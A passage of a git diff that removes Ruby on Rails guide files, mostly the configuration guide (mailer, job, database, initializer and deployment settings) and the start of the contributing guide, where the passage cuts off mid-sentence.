authentication, set the password in this setting. - * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`. - * `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`. - * `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, `:none` or `:peer` -- or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively. - * `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection). - -* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options: - * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`. - * `:arguments` - The command line arguments. Defaults to `-i`. - -* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`. - -* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info. - -* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to `false` for testing. - -* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: - - ```ruby - mime_version: "1.0", - charset: "UTF-8", - content_type: "text/plain", - parts_order: ["text/plain", "text/enriched", "text/html"] - ``` - - Assign a hash to set additional options: - - ```ruby - config.action_mailer.default_options = { - from: "noreply@example.com" - } - ``` - -* `config.action_mailer.observers` registers observers which will be notified when mail is delivered. - - ```ruby - config.action_mailer.observers = ["MailObserver"] - ``` - -* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent. - - ```ruby - config.action_mailer.interceptors = ["MailInterceptor"] - ``` - -* `config.action_mailer.preview_path` specifies the location of mailer previews. - - ```ruby - config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" - ``` - -* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development. - - ```ruby - config.action_mailer.show_previews = false - ``` - -* `config.action_mailer.deliver_later_queue_name` specifies the queue name for - mailers. By default this is `mailers`. - -* `config.action_mailer.perform_caching` specifies whether the mailer templates should perform fragment caching or not. By default this is `false` in all environments. - - -### Configuring Active Support - -There are a few configuration options available in Active Support: - -* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded. - -* `config.active_support.test_order` sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`. - -* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`. - -* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. - -* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`. - -* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. - -* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations. - -* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails. - -* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced. - -* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. - -### Configuring Active Job - -`config.active_job` provides the following configuration options: - -* `config.active_job.queue_adapter` sets the adapter for the queueing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). - - ```ruby - # Be sure to have the adapter's gem in your Gemfile - # and follow the adapter's specific installation - # and deployment instructions. - config.active_job.queue_adapter = :sidekiq - ``` - -* `config.active_job.default_queue_name` can be used to change the default queue name. By default this is `"default"`. - - ```ruby - config.active_job.default_queue_name = :medium_priority - ``` - -* `config.active_job.queue_name_prefix` allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used. - - The following configuration would queue the given job on the `production_high_priority` queue when run in production: - - ```ruby - config.active_job.queue_name_prefix = Rails.env - ``` - - ```ruby - class GuestsCleanupJob < ActiveJob::Base - queue_as :high_priority - #.... - end - ``` - -* `config.active_job.queue_name_delimiter` has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name. - - The following configuration would queue the provided job on the `video_server.low_priority` queue: - - ```ruby - # prefix must be set for delimiter to be used - config.active_job.queue_name_prefix = 'video_server' - config.active_job.queue_name_delimiter = '.' - ``` - - ```ruby - class EncoderJob < ActiveJob::Base - queue_as :low_priority - #.... - end - ``` - -* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging. - -### Configuring Action Cable - -* `config.action_cable.url` accepts a string for the URL for where - you are hosting your Action Cable server. You would use this option -if you are running Action Cable servers that are separated from your -main application. -* `config.action_cable.mount_path` accepts a string for where to mount Action - Cable, as part of the main server process. Defaults to `/cable`. -You can set this as nil to not mount Action Cable as part of your -normal Rails server. - -### Configuring a Database - -Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`. - -Using the `config/database.yml` file you can specify all the information needed to access your database: - -```yaml -development: - adapter: postgresql - database: blog_development - pool: 5 -``` - -This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this: - -```ruby -> puts ENV['DATABASE_URL'] -postgresql://localhost/blog_development?pool=5 -``` - -The `config/database.yml` file contains sections for three different environments in which Rails can run by default: - -* The `development` environment is used on your development/local computer as you interact manually with the application. -* The `test` environment is used when running automated tests. -* The `production` environment is used when you deploy your application for the world to use. - -If you wish, you can manually specify a URL inside of your `config/database.yml` - -``` -development: - url: postgresql://localhost/blog_development?pool=5 -``` - -The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information. - - -TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. - - -### Connection Preference - -Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact. - -If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable: - -``` -$ cat config/database.yml - -$ echo $DATABASE_URL -postgresql://localhost/my_database -``` - -If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database: - -``` -$ cat config/database.yml -development: - adapter: postgresql - database: my_database - host: localhost - -$ echo $DATABASE_URL -``` - -If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples. - -When duplicate connection information is provided the environment variable will take precedence: - -``` -$ cat config/database.yml -development: - adapter: sqlite3 - database: NOT_my_database - host: localhost - -$ echo $DATABASE_URL -postgresql://localhost/my_database - -$ bin/rails runner 'puts ActiveRecord::Base.configurations' -{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}} -``` - -Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`. - -If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts. - -``` -$ cat config/database.yml -development: - adapter: sqlite3 - pool: 5 - -$ echo $DATABASE_URL -postgresql://localhost/my_database - -$ bin/rails runner 'puts ActiveRecord::Base.configurations' -{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}} -``` - -Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins. - -The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key: - -``` -$ cat config/database.yml -development: - url: sqlite3:NOT_my_database - -$ echo $DATABASE_URL -postgresql://localhost/my_database - -$ bin/rails runner 'puts ActiveRecord::Base.configurations' -{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}} -``` - -Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name. - -Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git). - -``` -$ cat config/database.yml -production: - url: <%= ENV['DATABASE_URL'] %> -``` - -Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`. - -#### Configuring an SQLite3 Database - -Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. - -Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment: - -```yaml -development: - adapter: sqlite3 - database: db/development.sqlite3 - pool: 5 - timeout: 5000 -``` - -NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. - -#### Configuring a MySQL or MariaDB Database - -If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section: - -```yaml -development: - adapter: mysql2 - encoding: utf8 - database: blog_development - pool: 5 - username: root - password: - socket: /tmp/mysql.sock -``` - -If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate. - -#### Configuring a PostgreSQL Database - -If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases: - -```yaml -development: - adapter: postgresql - encoding: unicode - database: blog_development - pool: 5 -``` - -Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting `prepared_statements` to `false`: - -```yaml -production: - adapter: postgresql - prepared_statements: false -``` - -If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value: - -``` -production: - adapter: postgresql - statement_limit: 200 -``` - -The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements. - -#### Configuring an SQLite3 Database for JRuby Platform - -If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: - -```yaml -development: - adapter: jdbcsqlite3 - database: db/development.sqlite3 -``` - -#### Configuring a MySQL or MariaDB Database for JRuby Platform - -If you choose to use MySQL or MariaDB and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: - -```yaml -development: - adapter: jdbcmysql - database: blog_development - username: root - password: -``` - -#### Configuring a PostgreSQL Database for JRuby Platform - -If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: - -```yaml -development: - adapter: jdbcpostgresql - encoding: unicode - database: blog_development - username: blog - password: -``` - -Change the username and password in the `development` section as appropriate. - -### Creating Rails Environments - -By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments. - -Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. - -That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc. - - -### Deploy to a subdirectory (relative url root) - -By default Rails expects that your application is running at the root -(eg. `/`). This section explains how to run your application inside a directory. - -Let's assume we want to deploy our application to "/app1". Rails needs to know -this directory to generate the appropriate routes: - -```ruby -config.relative_url_root = "/app1" -``` - -alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment -variable. - -Rails will now prepend "/app1" when generating links. - -#### Using Passenger - -Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdirectory). - -#### Using a Reverse Proxy - -Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application. - -Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers. - -One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy. - -In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead. - -You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it. - -Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include: - -``` -upstream application_server { - server 0.0.0.0:8080 -} - -server { - listen 80; - server_name localhost; - - root /root/path/to/your_app/public; - - try_files $uri/index.html $uri.html @app; - - location @app { - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $http_host; - proxy_redirect off; - proxy_pass http://application_server; - } - - # some other configuration -} -``` - -Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information. - - -Rails Environment Settings --------------------------- - -Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: - -* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. - -* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). - -* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. - - -Using Initializer Files ------------------------ - -After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts. - -NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. - -TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`. - -Initialization events ---------------------- - -Rails has 5 initialization events which can be hooked into (listed in the order that they are run): - -* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens. - -* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process. - -* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`. - -* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment. - -* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run. - -To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: - -```ruby -module YourApp - class Application < Rails::Application - config.before_initialize do - # initialization code goes here - end - end -end -``` - -Alternatively, you can also do it through the `config` method on the `Rails.application` object: - -```ruby -Rails.application.config.before_initialize do - # initialization code goes here -end -``` - -WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called. - -### `Rails::Railtie#initializer` - -Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller: - -```ruby -initializer "action_controller.set_helpers_path" do |app| - ActionController::Helpers.helpers_path = app.helpers_paths -end -``` - -The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_. - -Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. - -WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. - -The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example. - -Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application. - -### Initializers - -Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated). - -* `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it. - -* `load_active_support`: Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default. - -* `initialize_logger`: Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`. - -* `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. - -* `set_clear_dependencies_hook`: This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. - -* `initialize_dependency_mechanism`: If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. - -* `bootstrap_hook`: Runs all configured `before_initialize` blocks. - -* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. - -* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. - -* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". - -* `active_support.initialize_beginning_of_week`: Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. - -* `active_support.set_configs`: Sets up Active Support by using the settings in `config.active_support` by `send`'ing the method names as setters to `ActiveSupport` and passing the values through. - -* `action_dispatch.configure`: Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. - -* `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. - -* `action_controller.assets_config`: Initializes the `config.actions_controller.assets_dir` to the app's public directory if not explicitly configured. - -* `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`. - -* `action_controller.parameters_config`: Configures strong parameters options for `ActionController::Parameters`. - -* `action_controller.set_configs`: Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. - -* `action_controller.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. - -* `active_record.initialize_timezone`: Sets `ActiveRecord::Base.time_zone_aware_attributes` to `true`, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. - -* `active_record.logger`: Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. - -* `active_record.migration_error`: Configures middleware to check for pending migrations. - -* `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available. - -* `active_record.warn_on_records_fetched_greater_than`: Enables warnings when queries return large numbers of records. - -* `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. - -* `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment. - -* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger. - -* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. - -* `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files. - -* `active_job.logger`: Sets `ActiveJob::Base.logger` - if it's not already set - - to `Rails.logger`. - -* `active_job.set_configs`: Sets up Active Job by using the settings in `config.active_job` by `send`'ing the method names as setters to `ActiveJob::Base` and passing the values through. - -* `action_mailer.logger`: Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. - -* `action_mailer.set_configs`: Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. - -* `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access. - -* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.load_paths` and all autoload paths to `$LOAD_PATH`. - -* `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`. - -* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application. - -* `add_locales`: Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files. - -* `add_view_paths`: Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application. - -* `load_environment_config`: Loads the `config/environments` file for the current environment. - -* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application. - -* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. - -* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. - -* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. - -* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. - -* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. - -* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. - -* `build_middleware_stack`: Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request. - -* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`. - -* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines. - -* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`. - -* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`. - -Database pooling ----------------- - -Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`. - -```ruby -development: - adapter: sqlite3 - database: db/development.sqlite3 - pool: 5 - timeout: 5000 -``` - -Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit. - -Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue. - -If you try to use more connections than are available, Active Record will block -you and wait for a connection from the pool. If it cannot get a connection, a -timeout error similar to that given below will be thrown. - -```ruby -ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds) -``` - -If you get the above error, you might want to increase the size of the -connection pool by incrementing the `pool` option in `database.yml` - -NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections. - - -Custom configuration --------------------- - -You can configure your own code through the Rails configuration object with -custom configuration under either the `config.x` namespace, or `config` directly. -The key difference between these two is that you should be using `config.x` if you -are defining _nested_ configuration (ex: `config.x.nested.nested.hi`), and just -`config` for _single level_ configuration (ex: `config.hello`). - - ```ruby - config.x.payment_processing.schedule = :daily - config.x.payment_processing.retries = 3 - config.super_debugger = true - ``` - -These configuration points are then available through the configuration object: - - ```ruby - Rails.configuration.x.payment_processing.schedule # => :daily - Rails.configuration.x.payment_processing.retries # => 3 - Rails.configuration.x.payment_processing.not_set # => nil - Rails.configuration.super_debugger # => true - ``` - -You can also use `Rails::Application.config_for` to load whole configuration files: - - ```ruby - # config/payment.yml: - production: - environment: production - merchant_id: production_merchant_id - public_key: production_public_key - private_key: production_private_key - development: - environment: sandbox - merchant_id: development_merchant_id - public_key: development_public_key - private_key: development_private_key - - # config/application.rb - module MyApp - class Application < Rails::Application - config.payment = config_for(:payment) - end - end - ``` - - ```ruby - Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id - ``` - -Search Engines Indexing ------------------------ - -Sometimes, you may want to prevent some pages of your application to be visible -on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index -these sites will first analyze the `http://your-site.com/robots.txt` file to -know which pages it is allowed to index. - -Rails creates this file for you inside the `/public` folder. By default, it allows -search engines to index all pages of your application. If you want to block -indexing on all pages of you application, use this: - -``` -User-agent: * -Disallow: / -``` - -To block just specific pages, it's necessary to use a more complex syntax. Learn -it on the [official documentation](http://www.robotstxt.org/robotstxt.html). - -Evented File System Monitor ---------------------------- - -If the [listen gem](https://github.com/guard/listen) is loaded Rails uses an -evented file system monitor to detect changes when `config.cache_classes` is -`false`: - -```ruby -group :development do - gem 'listen', '>= 3.0.5', '< 3.2' -end -``` - -Otherwise, in every request Rails walks the application tree to check if -anything has changed. - -On Linux and macOS no additional gems are needed, but some are required -[for *BSD](https://github.com/guard/listen#on-bsd) and -[for Windows](https://github.com/guard/listen#on-windows). - -Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations). diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md deleted file mode 100644 index 9166b9b..0000000 --- a/source/contributing_to_ruby_on_rails.md +++ /dev/null @@ -1,666 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Contributing to Ruby on Rails -============================= - -This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. - -After reading this guide, you will know: - -* How to use GitHub to report issues. -* How to clone master and run the test suite. -* How to help resolve existing issues. -* How to contribute to the Ruby on Rails documentation. -* How to contribute to the Ruby on Rails code. - -Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. - -As mentioned in [Rails -README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/). - --------------------------------------------------------------------------------- - -Reporting an Issue ------------------- - -Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests. - -NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing. - -### Creating a Bug Report - -If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) - -Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix. - -Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. - -### Create an Executable Test Case - -Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point: - -* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) -* Template for testing Active Record (migration) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_master.rb) -* Template for Action Pack (controllers, routing) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) -* Template for Active Job issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_master.rb) -* Generic template for other issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb) - -These 